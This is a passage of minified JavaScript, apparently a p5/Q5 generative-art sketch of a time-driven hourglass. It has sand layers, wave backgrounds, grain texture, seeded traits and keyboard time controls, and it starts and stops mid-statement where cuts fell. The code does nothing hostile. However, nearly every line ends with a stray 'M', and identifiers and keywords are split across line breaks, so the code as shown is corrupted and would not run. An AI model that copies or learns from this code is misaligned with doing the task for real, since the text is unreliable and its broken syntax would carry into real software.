5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
